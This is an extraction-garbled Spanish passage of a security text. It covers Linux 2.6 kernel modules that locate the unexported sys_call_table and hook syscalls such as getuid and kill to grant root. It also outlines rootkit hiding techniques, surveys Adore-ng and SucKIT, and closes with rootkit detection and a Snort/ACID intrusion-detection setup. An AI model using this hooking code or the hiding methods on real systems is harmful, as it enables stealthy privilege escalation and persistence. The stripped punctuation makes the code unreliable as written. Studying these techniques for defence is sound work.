El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
